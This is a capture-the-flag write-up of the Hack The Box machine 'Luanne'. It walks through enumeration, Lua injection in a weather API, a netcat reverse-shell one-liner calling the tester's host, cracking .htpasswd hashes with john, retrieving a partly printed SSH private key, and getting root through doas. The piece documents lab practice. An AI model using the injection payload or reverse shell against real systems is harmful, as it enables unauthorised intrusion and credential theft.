8 minute read

Introduction


Luanne is an easy machine rated only 2.6, that is really low. I achieved initial access by exploiting a Lua injection in a web application. The privilege escalation was done by finding an SSH key on a local website with a password. The privesc to root is done using a password cracked that was stored as a hash in an encrypted archieve. So let’s start enumerating the machine.

Enumeration


I start with an nmap scan.

Nmap Scan


For this task I use the nmap automator, here are the results of the full scan:

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9001/tcp open  tor-orport

On those open ports, the automator will perform a script scan:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey: 
|   3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
|   521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_  256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp   open  http    nginx 1.19.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
| http-robots.txt: 1 disallowed entry 
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd

Service Enumeration


The SSH version is not vulnerable, so I start enumerating the web service.

Port 80: HTTP Webserver


Here are the results of the gobuster scan:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/luanne]
└─$ gobuster dir -u http://luanne.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt -x php,html,log,txt                                                                        
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://luanne.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html,log,txt
[+] Timeout:                 10s
===============================================================
2021/09/27 08:34:14 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 612]
/robots.txt           (Status: 200) [Size: 78] 
                                               
===============================================================
2021/09/27 09:51:06 Finished
===============================================================

I check robots.txt (Index.html is denied with basic auth):

User-agent: *
Disallow: /weather  #returning 404 but still harvesting cities

There is another directory called weather, which cannot be found. But I can still search through it:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/luanne]
└─$ gobuster dir -u http://luanne.htb/weather -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt -x php,html,log,txt                                                                
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://luanne.htb/weather
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html,log,txt
[+] Timeout:                 10s
===============================================================
2021/09/27 08:52:33 Starting gobuster in directory enumeration mode
===============================================================
/forecast             (Status: 200) [Size: 90]
                                              
===============================================================
2021/09/27 10:10:06 Finished
===============================================================

There is one directory, on this page runs an api:

Untitled

I can search for a city:

Untitled

The parameter might be vulnerable to an injection. I will check this later in the exploitation phase.

Port 9001: Supervisor process manager


The first thing I wanted to try is to open the webpage:

Untitled

There is a hint telling me to use the default password. I found this example config file with the default credentials:

Configuration File - Supervisor 4.2.2 documentation

I can try to log in with the user user:123:

Untitled

That worked, but on that page I cannot do much. I think I need to start enumerating the API more.

Exploitation


I try to find a way to inject code into the web API. Before I start, I check if curl works on the AIP:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/luanne]
└─$ curl -s "http://luanne.htb/weather/forecast?city=London"
{"code": 200,"city": "London","list": [{"date": "2021-09-27","weather": {"description": "snowy","temperature": {"min": "12","max": "46"},"pressure": "1799","humidity": "92","wind": {"speed": "2.1975513692014","degree": "102.76822959445"}}},{"date": "2021-09-28","weather": {"description": "partially cloudy","temperature": {"min": "15","max": "43"},"pressure": "1365","humidity": "51","wind": {"speed": "4.9522297247313","degree": "262.63571172766"}}},{"date": "2021-09-29","weather": {"description": "sunny","temperature": {"min": "19","max": "30"},"pressure": "1243","humidity": "13","wind": {"speed": "1.8041767538525","degree": "48.400944394059"}}},{"date": "2021-09-30","weather": {"description": "sunny","temperature": {"min": "30","max": "34"},"pressure": "1513","humidity": "84","wind": {"speed": "2.6126398323104","degree": "191.63755226741"}}},{"date": "2021-10-01","weather": {"description": "partially cloudy","temperature": {"min": "30","max": "36"},"pressure": "1772","humidity": "53","wind": {"speed": "2.7699138359167","degree": "104.89152945159"}}}]}

Now, let’s start by settings the get parameter to ':

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/luanne]
└─$ curl -s "http://luanne.htb/weather/forecast?city='"     
<br>Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value

I get a Lua error. I searched google and found many ways how Lua outputs strings:

r:puts(output) or ngx.say(output) or cgilua.put(output).

Let’s try to inject comments:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/luanne]
└─$ curl -s "http://10.10.10.218/weather/forecast?city=')+--"
{"code": 500,"error": "unknown city:

As you see, the rest of the error message was commented out. With this in mind, I can try to execute a command:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/luanne]
└─$ curl -s "http://10.10.10.218/weather/forecast?city=')+os.execute('id')+--"
{"code": 500,"error": "unknown city: uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)

That worked, but I’ll change the curl command so that it is able to handle more complex requests:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/luanne]
└─$  curl -G --data-urlencode "city=') os.execute('id') --" 'http://10.10.10.218/weather/forecast' -s 
{"code": 500,"error": "unknown city: uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)

We should be able to create a reverse shell using this method.

Low Priv Shell


Let’s create a shell:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/luanne]
└─$ curl -G --data-urlencode "city=') os.execute('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 443 >/tmp/f') --" 'http://10.10.10.218/weather/forecast' -s

Let’s look at the netcat listener:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/luanne]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.218] 65147
sh: can't access tty; job control turned off
$ ls -la
total 20
drwxr-xr-x   2 root  wheel  512 Nov 25  2020 .
drwxr-xr-x  24 root  wheel  512 Nov 24  2020 ..
-rw-r--r--   1 root  wheel   47 Sep 16  2020 .htpasswd
-rw-r--r--   1 root  wheel  386 Sep 17  2020 index.html
-rw-r--r--   1 root  wheel   78 Nov 25  2020 robots.txt
$ whoami
_httpd

And I got the shell.

Privilege Escalation


_http → r.michaels


In the code above, you see 3 files. One of them could not be determinated using the gobuster scan. So I check it’s content (.htpasswd):

$ cat .htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

Let’s crack this password:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/luanne]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt webapi_user-hash 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iamthebest       (?)
1g 0:00:00:00 DONE (2021-09-27 13:53) 12.50g/s 38400p/s 38400c/s 38400C/s my3kids..ANTHONY
Use the "--show" option to display all of the cracked passwords reliably
Session completed
                                                                                                         
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/luanne]
└─$ john --show webapi_user-hash                                     
?:iamthebest

1 password hash cracked, 0 left

Let’s check the processes for the only user on the system:

$ ps auxww | grep michaels
r.michaels   185  0.0  0.0  38020  1976 ?     Is    6:41AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www

There is a webserver running on port 3001 which runs as r.michaels. The home directory of the webserver is also inside of the r.michaels. There is also the same API as on the other web server, but I think the vulnerability (Lua injection) is patched.

Since the webserver is running as r.michales and have the -u option, it should be possible to include files from the users home directory (specified path in -u option):

$ curl -s http://127.0.0.1:3001/~r.michaels/
<html><head><title>401 Unauthorized</title></head>
<body><h1>401 Unauthorized</h1>
~r.michaels//: <pre>No authorization</pre>
<hr><address><a href="//127.0.0.1:3001/">127.0.0.1:3001</a></address>
</body></html>

Access is denied, let’s try it with the password found in .htpasswd:

$  curl -s http://127.0.0.1:3001/~r.michaels/ -u webapi_user:iamthebest
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
        border-top: 1px solid black;
        border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>

That worked fine, the user may ownes an SSH key:

$ curl -s http://127.0.0.1:3001/~r.michaels/id_rsa -u webapi_user:iamthebest
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvXxJBbm4VKcT2HABKV2Kzh9GcatzEJRyvv4AAalt349ncfDkMfFB
Icxo9PpLUYzecwdU3LqJlzjFga3kG7VdSEWm+C1fiI4LRwv/iRKyPPvFGTVWvxDXFTKWXh
0DpaB9XVjggYHMr0dbYcSF2V5GMfIyxHQ8vGAE+QeW9I0Z2nl54ar/I/j7c87SY59uRnHQ
kzRXevtPSUXxytfuHYr1Ie1YpGpdKqYrYjevaQR5CAFdXPobMSxpNxFnPyyTFhAbzQuchD
---snip---

And there is the SSH key. With it, I can get a shell on the system:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/luanne]
└─$ nano id_rsa          

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/luanne]
└─$ chmod 600 id_rsa

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/luanne]
└─$ ssh r.michaels@luanne.htb -i id_rsa 
The authenticity of host 'luanne.htb (10.10.10.218)' can't be established.
ECDSA key fingerprint is SHA256:KB1gw0t+80YeM3PEDp7AjlTqJUN+gdyWKXoCrXn7AZo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'luanne.htb,10.10.10.218' (ECDSA) to the list of known hosts.
Last login: Fri Sep 18 07:06:51 2020
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020

Welcome to NetBSD!

luanne$ ls
backups     devel       public_html user.txt
luanne$ id
uid=1000(r.michaels) gid=100(users) groups=100(users)

A shell as r.michaels spawns in the netcat listener.

User Flag


I should now be able to collect the user flag:

luanne$ ls
backups      devel        public_html  user.txt
luanne$ cat user.txt
ea**************************ebc0

r.michaels → root


Sudo does not work, and the BSD variant of sudo (doas) neither. So I started with the enumeration of the user home directory. I found backup, which contains an encrypted archive:

luanne$ ls
backups      devel        public_html  user.txt
luanne$ cd backups/
luanne$ ls
devel_backup-2020-09-16.tar.gz.enc
luanne$

I noticed that there are a lot more hidden files in the directory. I found a gnupg directory:

luanne$ ls -l .gnupg/
total 8
-rw-------  1 r.michaels  users   603 Sep 14  2020 pubring.gpg
-rw-------  1 r.michaels  users  1291 Sep 14  2020 secring.gpg

This is probably how the archive was encrypted. Let’s try that out and decrypt it (using netpgp):

luanne$  netpgp --decrypt --output=/tmp/decrypt.tar.gz backups/devel_backup-2020-09-16.tar.gz.enc
signature  2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14 
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a 
uid              RSA 2048-bit key <r.michaels@localhost>
luanne$ cd /tmp
luanne$ ls
decrypt.tar.gz

The archive is now encrypted, let’s analyze it:

luanne$ tar zxvf decrypt.tar.gz
x devel-2020-09-16/
x devel-2020-09-16/www/
x devel-2020-09-16/webapi/
x devel-2020-09-16/webapi/weather.lua
x devel-2020-09-16/www/index.html
x devel-2020-09-16/www/.htpasswd
luanne$ ls
decrypt.tar.gz    devel-2020-09-16

This is the same webpage with the same API found. The only difference is the content of .htpasswd:

luanne$ cat /tmp/devel-2020-09-16/www/.htpasswd
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.

Let’s crack this password using john:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/luanne]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt webapi_user-hash2
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
littlebear       (?)
1g 0:00:00:00 DONE (2021-09-27 20:33) 5.555g/s 72533p/s 72533c/s 72533C/s jayar..hello11
Use the "--show" option to display all of the cracked passwords reliably
Session completed
                                                                                                                      
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/luanne]
└─$ john --show webapi_user-hash2                                     
?:littlebear

1 password hash cracked, 0 left

The password is littlebear. Let’s check if this password works for root:

luanne$ doas sh
Password:
# id
uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)

That worked, I got the root shell.

Root Flag


Time to get the root flag:

# cat /root/root.txt
7a**************************5f66

Conclusions


The box was a bit difficult and weird to solve. The privesc is a CTF but the initial access was fun to find out. But I can understand why this machine is rated so low.